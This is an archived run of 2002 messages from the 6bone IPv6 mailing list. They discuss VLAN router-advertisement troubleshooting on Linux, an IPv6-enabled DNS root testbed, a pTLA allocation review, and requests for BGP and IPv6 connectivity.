    inet6 3ffe:38e1:200:3001::20/64 scope global
    inet6 3ffe:38e1:200:3001:250:bfff:fe1b:e026/64 scope global dynamic
       valid_lft 2591994sec preferred_lft 604794sec


Regards


----- Original Message -----
From: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
To: <enric@satec.es>
Cc: <6bone@ISI.EDU>
Sent: Sunday, November 03, 2002 7:31 PM
Subject: Re: [6bone] Problem with Autoconfiguration when using
802.1Qencapsulation


> On Sun, 2002-11-03 at 22:18, Enric Corominas i Bosch wrote:
> Dear Enric,
>
> > I'm trying to configure a Debian host as an IPv6 firewall. I have just
one ethernet card, so I've been playing with
> > 802.1Q, configuring three let's call "subinterfaces".
> >
> > I use the software from candelatech
(http://www.candelatech.com/~greear/vlan.html) to create the subinterfaces,
and everything seems to work fine, the interfaces creates link local
addresses, they are recognized by the switch, and the communication is fine.
> >
> > Also I can give the subinterfaces an IPv6 address, and announce it with
"radvd" (latest version, 0.7.2).
> >
> > >=======================================>
> > almodis:/home/enric/vlan/vlan# ifconfig
> > eth0      Link encap:Ethernet  HWaddr 00:00:E8:79:C0:43
> >           inet6 addr: fe80::200:e8ff:fe79:c043/10 Scope:Link
> >           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
> >           RX packets:140467 errors:0 dropped:0 overruns:0 frame:0
> >           TX packets:6546 errors:36 dropped:0 overruns:0 carrier:72
> >           collisions:623 txqueuelen:100
> >           RX bytes:10607455 (10.1 MiB)  TX bytes:1022885 (998.9 KiB)
> >           Interrupt:5 Base address:0xe400
> >
> > eth0.2    Link encap:Ethernet  HWaddr 00:00:E8:79:C0:43
> >           inet addr:213.164.61.200  Bcast:213.164.61.255
Mask:255.255.255.192
> >           inet6 addr: fe80::200:e8ff:fe79:c043/10 Scope:Link
> >           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
> >           RX packets:36645 errors:0 dropped:0 overruns:0 frame:0
> >           TX packets:6497 errors:0 dropped:0 overruns:0 carrier:0
> >           collisions:0 txqueuelen:0
> >           RX bytes:3711593 (3.5 MiB)  TX bytes:1002537 (979.0 KiB)
> > >=======================================>
> >
> >
> > But I've detected that the interface is not able to autoconfigure when
receiving an "Router Advertisement"
> > The RA is received correctly, but is ignored.
> >
> >
> > >=======================================>
> > Router advertisement from fe80::230:94ff:fe0a:b420 (hoplimit 255)
> > Received by interface eth0.2
> >         # Note: {Min,Max}RtrAdvInterval cannot be obtained with radvdump
> >         AdvCurHopLimit: 64
> >         AdvManagedFlag: off
> >         AdvOtherConfigFlag: off
> >         AdvHomeAgentFlag: off
> >         AdvReachableTime: 0
> >         AdvRetransTimer: 0
> >         AdvSourceLLAddress: 00 30 94 0A B4 20
> >         Prefix 3ffe:400a:0:803::/64
> >                 AdvValidLifetime: 2592000
> >                 AdvPreferredLifetime: 604800
> >                 AdvOnLink: on
> >                 AdvAutonomous: on
> >                 AdvRouterAddr: off
> > >=======================================>
> >
> >
> > I have looked into "/proc/sys/net/ipv6/conf/eth0.2", and "accept_ra" is
set to "1", it is TRUE, so it should autoconfigure to the received prefix.
> >
> > If I try to set the value to "1" or "0" by hand using "sysctl", it gives
a syntax error, as it seems not to recognize the "." in the name of the
interface, changing it for a "/"
> >
> >
> > >=======================================>
> > almodis:/proc/net# sysctl -w net/ipv6/conf/eth0.2/accept_ra=1
> > error: 'net/ipv6/conf/eth0/2/accept_ra' is an unknown key
> > almodis:/proc/net#
> > >=======================================>
> >
> > This make me think of a kind of bug, but I can't imagine how to resolve
it.
> >
> > Another point I have seen is that the LINK LOCAL address has the same
value in both "eth0" and "eth0.2", I don't know if this can have any
relation with the ignoring of the router advertisement.
> >
> > Any one has tried a similar configuration ? Any ideas ?
>
> Autoconfiguration don't work probably because you have 2 interfaces with
> the same MAC address.
>
> In the USAGI mailing-list
> (http://www2.linux-ipv6.org/ml/usagi-users/msg00832.html), YOSHIFUJI
> Hideaki wrote:
> "It seems that we should modify something to support IPv6."
>
> 802.1Q VLAN implementation for Linux need modification for support IPv6
> ?
>
>
> Best Regards,
>
> Nicolas DEFFAYET
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From cliff@piper.oisec.net Sun Nov  3 22:18:42 2002
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From: Cliff Albert <cliff@oisec.net>
To: Enric Corominas i Bosch <enric@satec.es>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Problem with Autoconfiguration when using 802.1Q encapsulation
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On Sun, Nov 03, 2002 at 10:18:44PM +0100, Enric Corominas i Bosch wrote:

> I'm trying to configure a Debian host as an IPv6 firewall. I have just one ethernet card, so I've been playing with
> 802.1Q, configuring three let's call "subinterfaces".
> 
> I use the software from candelatech (http://www.candelatech.com/~greear/vlan.html) to create the subinterfaces, and everything seems to work fine, the interfaces creates link local addresses, they are recognized by the switch, and the communication is fine.
> 
> Also I can give the subinterfaces an IPv6 address, and announce it with "radvd" (latest version, 0.7.2). 

It should work, as we had it working on a 2.4.18 box with Debian and radvd. However the radvd package of debian needs a patch to support interfaces with a . (the flex parser doesn't recognize these as valid interfaces)

However i haven't got that patch nearbye at the moment. I will put it somewhere this afternoon.

-- 
Cliff Albert		| RIPE:	     CA3348-RIPE | http://oisec.net/
cliff@oisec.net		| 6BONE:     CA2-6BONE	 |
PGP Fingerprint = 9ED4 1372 5053 937E F59D  B35F 06A1 CC43 9A9B 1C5A

From jochen@scram.de Sun Nov  3 23:36:48 2002
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   <6bone@ISI.EDU>
Subject: Re: [6bone] Problem with Autoconfiguration when using 802.1Qencapsulation
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Hi Carlos,

>    I think the problem is that forwarding shoul be disabled in order to use
> stateless autoconfig, look at this example:

From the kernel:

        if (in6_dev->cnf.forwarding || !in6_dev->cnf.accept_ra) {
                in6_dev_put(in6_dev);
                return;
        }

Linux is definitely only accepting RAs, if both accept_ra is 1 and
forwarding is 0 for a particular interface.

--jochen


From enric@satec.es Mon Nov  4 04:04:15 2002
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Date: Mon, 04 Nov 2002 13:06:22 +0100
Reply-To: enric@satec.es
From: "Enric Corominas i Bosch" <enric@satec.es>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Problem with Autoconfiguration when using
  802.1Qencapsulation
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Hi all,

Thanks for your answers, I've tested it and the problem was really on the "forwarding" set to "1", not in the VLAN operation.

Enric



From gert@Space.Net Mon Nov  4 08:33:50 2002
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From: Gert Doering <gert@space.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Who respect RFC2772 ? (4. Routing Policies for the 6bone)
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Hi,

while the thread itself is pretty ridiculous, it points out one important
thing:

On Thu, Oct 31, 2002 at 11:34:04AM +0100, Nicolas DEFFAYET wrote:
> 4. Routing Policies for the 6bone
[..]
> AS15709
> 2001:650:10::/48
> 
> AS3327
> 2001:670:8B::/48
> 
> AS3561
> 2001:648:800::/48
> 
> AS818
> 2001:410:400::/40

All those networks (and all others that I have not quoted) do not use
6bone address space, and do not fall under the "6bone rules".

So far, there are no universally accepted rules yet for announcement 
(or not) of more-specific prefixes from 2001:: space.  Some think it's
a good idea to overcome the multihoming issue, others stick to the
"get an /48s from each upstream" paradigm, and yet others recommend 
to get an own sTLA for "important" multihomed networks.

This isn't something which can be easily solved on *this* list, which 
is the 6bone-list and by convention doesn't really touch RIR space policy.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48540  (48282)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@vacation.karoshi.com Mon Nov  4 10:47:26 2002
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the list:

dot.ep.net.             1D IN AAAA      2001:478:6:0:230:48ff:fe22:6a29
dot.ep.net.             1D IN AAAA      3ffe:0:1:0:230:48ff:fe22:6a29

domreg.nic.ch.          IN      AAAA    2001:620:0:3:a00:20ff:fe85:9276
merapi.switch.ch.       IN      AAAA    2001:620:0:1:a00:20ff:fe88:a3f8

reva.sixgirls.org.      1H IN AAAA      3ffe:b80:133c:1::1

resns6.eurocyber.net.   1D IN CNAME     koroth.muc.ipv6.eurocyber.net.
koroth.muc.ipv6.eurocyber.net.  1D IN AAAA  2001:768:1:3::2

dns.pasta.cs.uit.no.    20M IN AAAA     2001:700:400:600::2
dns.pasta.cs.uit.no.    20M IN AAAA     2001:700:400:3001::2

shienar.ipv6.hiof.no.   1D IN AAAA      2001:700:a00:1::1

ns1.blazing.de.         10h40m IN AAAA  3ffe:2500:324:20:2a0:ccff:fe66:339b

NL.linux.org.           1H IN AAAA      3ffe:8260:111:1::1

imladris.surriel.com.   1H IN AAAA      3ffe:8260:2000:1:210:5aff:fe47:4501

ns1.ipv6.lava.net.      2H IN AAAA      3ffe:8160::8
ns2.ipv6.lava.net.      2H IN AAAA      3ffe:8160::3

ns2.arch.bellsouth.net.  1H IN AAAA  3ffe:2900:3::3

imasd.ipv6.elmundo.es.  8H IN AAAA      2001:450:9:10::71


In our testbed, we recognize the following TLDs with v6 supported nameservers:

JP, FR, INT, NL, COM, NET, ORG, CH, LI.

To use the testbed (v6 enabled root servers),  please return a signed 
copy of the following disclaimer to the following FAX:

	+1.310.322.8889

----------------------------------------------------------------------------
;       This file holds the information on root name servers needed to
;       initialize cache of Internet domain name servers
;       (e.g. reference this file in the "cache  .  <file>"
;       configuration file of BIND domain name servers).
;
;       It has both IPv4 and IPv6 capable servers and is
;       intended to test the capabilities of IPv6 native
;       transport as well as DNSSEC capabilities.
;
;       Copyright (c) 2001 by the University of Southern California
;       Copyright (c) 2002 by the University of Southern California
;               and EP.NET, LLC.
;       All rights reserved
;
;   Permission to use, copy, and distribute this data and its documentation 
;   for lawful non-commercial purposes and without fee is hereby granted, 
;   provided that the above copyright notice appear in all copies and that both
;   the copyright notice and this permission notice appear in supporting
;   documentation, and that any documentation, advertising materials,
;   and other materials related to such distribution and use acknowledge
;   that the data was released by the University of Southern California, 
;   Information Sciences Institute, and EP.NET, LLC.
;
;   The name of the USC may not be used to endorse or promote products derived 
;   from this data without specific prior written permission.
; 
;   THE UNIVERSITY OF SOUTHERN CALIFORNIA AND EP.NET, LLC. MAKE NO 
;   REPRESENTATIONS ABOUT
;   THE SUITABILITY OF THIS DATA FOR ANY PURPOSE.  THIS DATA IS
;   PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES,
;   INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
;   MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, TITLE, AND 
;   NON-INFRINGEMENT.
; 
;   IN NO EVENT SHALL USC, OR ANY OTHER CONTRIBUTOR BE LIABLE FOR ANY
;   SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, WHETHER IN CONTRACT,
;   TORT, OR OTHER FORM OF ACTION, ARISING OUT OF OR IN CONNECTION WITH,
;   THE USE OR PERFORMANCE OF THIS DATA.
; 
;       This file is made available by Bill Manning  <bmanning@karoshi.com>
;
	---------------------------------------------------




From bmanning@ISI.EDU Mon Nov  4 11:21:30 2002
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Subject: Re: [6bone] Re:  recursive DNS servers?
In-Reply-To: <00cc01c27f27$74458380$3300000a@consulintel.es> from Alvaro Vives at "Oct 29, 2 09:44:53 am"
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[Charset Windows-1252 unsupported, skipping...]


the testbed and release were announced on the 6bone list this morning.


-- 
--bill

From pim@ipng.nl Mon Nov  4 23:09:49 2002
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Date: Tue, 5 Nov 2002 08:08:07 +0100
From: Pim van Pelt <pim@ipng.nl>
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Subject: [6bone] [spectra@export2000.ro: Romanian Wireless Engineering]
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Hi people,

If any of you have received the message below, note that your E-mail
address was most probably harvested from the 6BONE database. I have been
spammed no less than 7 times in the past 24 hours, so this run must have
been huge.

Can somebody (David?) try to figure out which whois client (or FTP?) was
responsible for this and perhaps take measures to ensure that it does
not happen again in the future ? (eg IP filtering for the client(s)).

Groet,
Pim

----- Forwarded message from spectra@export2000.ro -----

Delivered-To: pim+6bone@bfib.ipng.nl
Date: Tue, 5 Nov 2002 09:46:03 +0200
From: spectra@export2000.ro
To: pim+6bone@ipng.nl
Subject: Romanian Wireless Engineering


To:   pim+6bone@ipng.nl
Attn: Marketing Department
From: Spectra Telecom Romania
Ref.: Romanian Wireless Engineering

------------------------------------------------------------------------
      Our anti-spamming company policy (removal instructions):

           To remove your E-mail address from the present
           contact list JUST DO NOT REPLY to this message

                and WE WILL NEVER BOTHER YOU again.

 If you receive this message by mistake and/or you are not interested
   in the following brief presentation, please accept our apologies.

This is a world-wide promotion campaign. The selected E-mail addresses
are extracted only FROM THE COMMERCIAL WEBSITES of the targeted markets.
------------------------------------------------------------------------

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From bmanning@ISI.EDU Tue Nov  5 11:06:43 2002
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In-Reply-To: <20021027130626.GM15108@pasky.ji.cz> from Petr Baudis at "Oct 27, 2 02:06:26 pm"
To: pasky@pasky.ji.cz (Petr Baudis)
Date: Tue, 5 Nov 2002 11:06:24 -0800 (PST)
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Subject: [6bone] Re: recursive DNS servers?
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% Dear diary, on Tue, Oct 22, 2002 at 05:17:34PM CEST, I got a letter,
% where Bill Manning <bmanning@ISI.EDU> told me, that...
% > a question came up recently that I could not answer.
% > 
% > 	how many recursive IPv6 transport aware DNS
% > 	servers are there?
% 
% That brings another question on my mind..
% 
% When is at least one of the DNS root servers going to have some v6 connectivity
% and an AAAA record? And, on whose this decision depends? Verisign? ICANN? ..?
% 
% (oh, and what's up with 3ffe::/16 ip6.arpafication? ;)
% 
% Kind regards,
% 
% 				Petr "Pasky" Baudis


the production root servers are slowly working up to that state.
in the mean time, the post yesterday to the 6bone list has a
pointer to the hoop that you can jump through to use v6 enabled
root servers and v6 enabled tld servers.  the testbed is becoming 
fully v6 aware.

wrt int/arpa, thats moving through the RIR policy process.


-- 
--bill

From hgoes@eu.uu.net Wed Nov  6 15:08:47 2002
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Subject: [6bone] power problems amsterdam
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Hi,

Due to power problems in Amsterdam our 6bone router (6b1.ams7.alter.net)
went down.

80% of the NUON power network in Amsterdam and surroundings went down.

We are currently building a native backbone between amsterdam, london and
frankfurt. We are also moving to AS12702 for our ipv6-network in EMEA.
Soon we hope to offer you a 2nd tunnel to a box in a different country.

Good night,

Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
V-Net: 711 2428
http://www.wcom.com/nl/


From nicolas.deffayet@ndsoftware.net Wed Nov  6 16:41:14 2002
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Subject: Re: [6bone] power problems amsterdam
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: hans.goes@wcom.com
Cc: 6bone@ISI.EDU
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On Thu, 2002-11-07 at 00:08, Hans Goes wrote:
Hi,

> We are currently building a native backbone between amsterdam, london and
> frankfurt. We are also moving to AS12702 for our ipv6-network in EMEA.

Do you plan to add Paris in your native backbone ?
We are very interested, if UUnet can do native IPv6 peering in Paris.

Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From netza@telecom.noc.udg.mx Wed Nov  6 16:58:23 2002
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Date: Wed, 6 Nov 2002 18:51:21 -0600 (CST)
From: Netzahualcoyotl Ornelas Garcia VOL <netza@telecom.noc.udg.mx>
To: 6bone@ISI.EDU
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Subject: [6bone] Testing.
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** Texto sin acentos.
Atte....
**************************************************************************
   Netzahualcoyotl Ornelas Garcia.              .---.        .-----------
Coordinacion de Telecomunicaciones y Redes     /     \  __  /    ------
  Network Operation Center (NOC).             / /     \(..)/    -----
    University of Guadalajara                //////   ' \/ `   ---
  e-mail: netza@noc.udg.mx                  ////// // :    : ---
          netza_10@hotmail.com             ////// /  /`    '--
Work Phone: 011(52)3331342220             // //// /   //..\ 
Address: Av. Juarez #976 Planta Baja    =============UU====UU====
 Col. Centro  C.P. 44100                /////////    '//||\`  
  Guadalajara Jal. Mexico.             ///////              
  "Ipv6 Staff Working Group"          ///// 
***************************************************************************


From dios-vol@telecom.noc.udg.mx Wed Nov  6 17:14:12 2002
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From: Harold de Dios Tovar  <dios-vol@telecom.noc.udg.mx>
To: Netzahualcoyotl Ornelas Garcia VOL <netza@telecom.noc.udg.mx>
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ok, mensaje recibido..

** Texto sin acentos
        
---------------------------------       
 N.O.C & IPv6 staff working Group
------------------------------------
   Harold de Dios, harold@noc.udg.mx 
   UdeG, Network Operation Center  
   Work: 011(52)3331342232 ext.2220 
   ---------------------------------


On Wed, 6 Nov 2002, Netzahualcoyotl Ornelas Garcia VOL wrote:

> 
> 
> ** Texto sin acentos.
> Atte....
> **************************************************************************
>    Netzahualcoyotl Ornelas Garcia.              .---.        .-----------
> Coordinacion de Telecomunicaciones y Redes     /     \  __  /    ------
>   Network Operation Center (NOC).             / /     \(..)/    -----
>     University of Guadalajara                //////   ' \/ `   ---
>   e-mail: netza@noc.udg.mx                  ////// // :    : ---
>           netza_10@hotmail.com             ////// /  /`    '--
> Work Phone: 011(52)3331342220             // //// /   //..\ 
> Address: Av. Juarez #976 Planta Baja    =============UU====UU====
>  Col. Centro  C.P. 44100                /////////    '//||\`  
>   Guadalajara Jal. Mexico.             ///////              
>   "Ipv6 Staff Working Group"          ///// 
> ***************************************************************************
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From hgoes@eu.uu.net Thu Nov  7 04:06:21 2002
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Subject: Re: [6bone] power problems amsterdam
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Hi Nicolas,

> > We are currently building a native backbone between amsterdam, london and
> > frankfurt. We are also moving to AS12702 for our ipv6-network in EMEA.
> Do you plan to add Paris in your native backbone ?
> We are very interested, if UUnet can do native IPv6 peering in Paris.

We have a ipv6 router running in Nanterre. I'm not sure about peering on
the exchange overthere. In Frankfurt we will have a link to the exchange.

UUNET is seeing ipv6 as a test-network, so it's just some enthousiasm of
some engineers in NL, UK, FR, DE an ZA.

Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
V-Net: 711 2428
http://www.wcom.com/nl/


From nicolas.deffayet@ndsoftware.net Thu Nov  7 04:35:07 2002
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Subject: Re: [6bone] power problems amsterdam
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Thu, 2002-11-07 at 13:05, Hans Goes wrote:
Hi Hans,

> > > We are currently building a native backbone between amsterdam, london and
> > > frankfurt. We are also moving to AS12702 for our ipv6-network in EMEA.
> > Do you plan to add Paris in your native backbone ?
> > We are very interested, if UUnet can do native IPv6 peering in Paris.
> 
> We have a ipv6 router running in Nanterre. I'm not sure about peering on
> the exchange overthere. In Frankfurt we will have a link to the exchange.

We don't have a POP in Nanterre. We have a POP in TeleCity Paris where
you have a POP too.

> UUNET is seeing ipv6 as a test-network, so it's just some enthousiasm of
> some engineers in NL, UK, FR, DE an ZA.

UUnet don't plan to provide IPv6 production service ?

Best Regards,

Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From hgoes@eu.uu.net Thu Nov  7 05:10:04 2002
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On Thu, 7 Nov 2002, Nicolas DEFFAYET wrote:

> > We have a ipv6 router running in Nanterre. I'm not sure about peering on
> > the exchange overthere. In Frankfurt we will have a link to the exchange.
> We don't have a POP in Nanterre. We have a POP in TeleCity Paris where
> you have a POP too.

I know... I will discuss this with my french collegue who is on holiday
right now.

> > UUNET is seeing ipv6 as a test-network, so it's just some enthousiasm of
> > some engineers in NL, UK, FR, DE an ZA.
> UUnet don't plan to provide IPv6 production service ?

Not yet :) But you're always free to pay for it of course :)



Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
V-Net: 711 2428
http://www.wcom.com/nl/


From trent@irc-desk.net Thu Nov  7 07:00:58 2002
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Subject: [6bone] BGP Howto
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I can't for the life of me find any descent 'howto' documentation on 
setting up BGP related to Ipv6, how to get it going, feeding to clients etc.

Can someone point me to some?

Trent Lloyd [Lathat]

    Jan 22-25 2003           Linux.Conf.AU            http://linux.conf.au/
                   The Australian Linux Technical Conference!


From bortzmeyer@gitoyen.net Thu Nov  7 13:03:12 2002
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Subject: Re: [6bone] BGP Howto 
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On Thursday 7 November 2002, at 23 h 1, 
Trent Lloyd <trent@irc-desk.net> wrote:

> I can't for the life of me find any descent 'howto' documentation on 
> setting up BGP related to Ipv6, 

The differences with BGP for IPv4 are small. The concepts are the same. The 
commands depend on your specific router.

Are you already knowledgeable in BGP with IPv4? If yes, just read the 
documentation of your router to find the new commands/options. If no, Sam 
Halabi's book "Internet Routing Architectures" (Cisco press) is the best one 
to learn BGP, IMHO.




From ji@research.att.com Thu Nov  7 14:18:47 2002
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From: John Ioannidis <ji@research.att.com>
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Subject: Re: [6bone] BGP Howto
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On Thu, Nov 07, 2002 at 10:02:22PM +0100, Stephane Bortzmeyer wrote:

...

> Are you already knowledgeable in BGP with IPv4? If yes, just read the 
> documentation of your router to find the new commands/options. If no, Sam 
> Halabi's book "Internet Routing Architectures" (Cisco press) is the best one 
> to learn BGP, IMHO.

I've found Stewart's book a much better introduction to BGP:

John W. Stewart: BGP4 Interdomain Routing in the Internet. ISBN 0-201-37951-1 

If you've never seen BGP before, you'll get lost with Halabi.  Read it
after you've read Stewart.

You may also want to check out http://www.cs.columbia.edu/~ji/F02/.
That's the home page of the graduate-level routing course I'm teaching
at Columbia this semester.  Lectures 12-17 are on BGP.

/ji

--
 /\  ASCII ribbon  |  John "JI" Ioannidis * Secure Systems Research Department
 \/    campaign    |  AT&T Labs - Research * Florham Park, NJ 07932 * USA
 /\    against     |  "Intellectuals trying to out-intellectual
/  \  HTML email.  |   other intellectuals" (Fritz the Cat)


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Hi All,=20

Is somebody in the Perth,Australia area willing to connect me as an end =
user?

The nearest I could find was in Tasmania (who Im not discounting) but =
thought
the nearer the better.

Secondly, what sort of connection/extra equipment would I need to be =
able to
run (experiment only) an IPv6 website.

I have WinXP Pro with Apache 2.
I have successfully set up 2 websites on my Apache Server however these =
need
3rd party software to forward the dynamic ISP assigned IP4 address.

Im guessing that I would get a permanant IPv6 address from someone so =
this would=20
make my life easier in setting up the IPv6 site.

Thinking about it, would having a static IPv6 address help me with my v4 =
sites also?

Thanks in advance.

Gavin...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
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<DIV><FONT face=3DArial size=3D2>Hi All, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Is somebody in the Perth,Australia area =
willing to=20
connect me as an end user?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The nearest I could find was in =
Tasmania (who Im=20
not discounting) but thought</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the nearer the better.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Secondly, what sort of connection/extra =
equipment=20
would I need to be able to</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>run (experiment only) an IPv6 =
website.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have WinXP Pro with Apache =
2.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I have successfully set up 2 websites =
on=20
my&nbsp;Apache Server however these need</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>3rd party software to forward the =
dynamic ISP=20
assigned IP4 address.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Im guessing that I would get a =
permanant IPv6=20
address from someone so this would </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>make my life easier in setting up the =
IPv6=20
site.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thinking about it, would having a =
static IPv6=20
address help me with my v4 sites also?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Gavin...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><BR>---<BR>Checked for Viruses (Viri) , =

Gav...<BR>Checked by AVG anti-virus system (<A=20
href=3D"http://www.grisoft.com">http://www.grisoft.com</A>).<BR>Version: =
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Virus Database: 231 - Release Date: =
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From fink@es.net Fri Nov  8 15:56:34 2002
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Date: Fri, 08 Nov 2002 15:46:18 -0800
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: David Kessens <david@iprg.nokia.com>, Robert Rockell <rrockell@sprint.net>,
   Gert Doering <gert@space.net>, Jun-ichiro itojun Hagino <itojun@iijlab.net>,
   Bob Fink <fink@es.net>
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Subject: [6bone] NDSOFTWARE pTLA review
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6bone Folk,

At the completion of the NDSOFTWARE pTLA request open review period, I 
formed a pTLA review panel to further look at the issues raised by this 
request as well as to make a final decision on allocation, and whether the 
current pTLA rules as outlined in RFC2772 need updating.

The folks that agreed to participate in the panel were:

     Bob Fink, Chair  (co-author of RFC2772)
     David Kessens  (6bone registry developer/manager, and of NOKIA)
     Rob Rockell    (co-author of RFC2772, and of SPRINT)
     Jun-ichiro itojun Hagino (IIJ and WIDE project)
     Gert Doering   (SpaceNet)

After careful review, and further questions asked of, and answered by, 
Nicolas Deffayet, the panel unanimously agrees that NDSOFTWARE should be 
granted their pTLA allocation.

This is not to say that we are completely comfortable with the rules we are 
currently operating under. In fact, we also unanimously agreed that RFC2772 
is in need of considerable community review and updating to assist in 
deciding future pTLA requests, as well as giving guidance to the operation 
of the 6bone.

To this end, we would like to establish a process to do the RFC2772 rework 
that guarantees all voices are heard and input taken. We will shortly 
publish to this list our recommendation on how to do this.

Returning again to the pTLA request of NDSOFTWARE, we respectfully ask that 
contentious and divisive discussion of the allocation itself cease, and be 
replaced by a good and vigorous discussion of the issues the 6bone needs to 
address going forward.


Thanks for your patience, and thanks to my fellow panel members for helping.

Bob



From jeroen@unfix.org Fri Nov  8 17:37:19 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gav'" <old_mc_donald@hotmail.com>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] IPv6 connection + website.
Date: Sat, 9 Nov 2002 02:37:38 +0100
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Gav wrote:

> Hi All, 
>  
> Is somebody in the Perth,Australia area willing to connect me 
> as an end user?
>  
> The nearest I could find was in Tasmania (who Im not 
> discounting) but thought
> the nearer the better.

You could try Trumpet (http://www.trumpet.com/ipv6.htm)

http://www.cs-ipv6.lancs.ac.uk/ftp-archive/6Bone/Maps/world.gif

Hmm only two spots there :(

http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html#AU

A couple more there, if I where you I would give them a try.

Then again geographically close doesn't always mean network-close ;)

Greets from literally the other side of the world,
 Jeroen

(The Netherlands :)


From old_mc_donald@hotmail.com Fri Nov  8 17:41:22 2002
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References: <200211081949.gA8JnhJt030229@marajade.sandelman.ottawa.on.ca>
Subject: Re: [6bone] IPv6 connection + website.
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----- Original Message -----
From: "Michael Richardson" <mcr@sandelman.ottawa.on.ca>
To: "Gav" <old_mc_donald@hotmail.com>
Sent: Saturday, November 09, 2002 3:49 AM
Subject: Re: [6bone] IPv6 connection + website.


>
> Install NetBSD on a PC, and use that.
>

Thanks for your reply, can you explain what part of my posting you were
answering with your reply?
Will this solve my website query?
I will take a look at NetBSD for my purposes, but still think Windoze will
be the platform of choice of most end users and so needs to be kept abreast
of.

Thanks,

Gavin

___________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone



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From old_mc_donald@hotmail.com Fri Nov  8 18:07:43 2002
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Subject: Re: [6bone] IPv6 connection + website.
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----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gav'" <old_mc_donald@hotmail.com>; <6bone@mailman.isi.edu>
Sent: Saturday, November 09, 2002 9:37 AM
Subject: RE: [6bone] IPv6 connection + website.

> You could try Trumpet (http://www.trumpet.com/ipv6.htm)

Yes, these were the ones I was thinking of (Tasmania) , they are also
Internet2.
>
> http://www.cs-ipv6.lancs.ac.uk/ftp-archive/6Bone/Maps/world.gif
>
> Hmm only two spots there :(
>
> http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html#AU
>
> A couple more there, if I where you I would give them a try.

I have looked at this list and checked them out, discounting all but 3.
I have contacted but recieved no reply from Digital and Connect.
Looking on Belkins site they/he seems to be having a revamp and might
not be able to offer the services I need at this time.

I will give Trumpet another try.

>
> Then again geographically close doesn't always mean network-close ;)

No, Australia seems to be a bit 6bone sparse at the moment.
For me though, any connection here geographically must be better network
wise too, as opposed to overseas.

Population wise, Australia must concentrate on the Cities and surrounding
areas
to locate the backbone, Sydney,Brisbane,Adelaide,Darwin,Perth,Hobart,Cairns.

Internet2 has AARNET influence in most of these places.

>
> Greets from literally the other side of the world,
>  Jeroen
>
> (The Netherlands :)

Thanks for your reply.

>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


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From old_mc_donald@hotmail.com Fri Nov  8 18:21:54 2002
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Hi All,=20

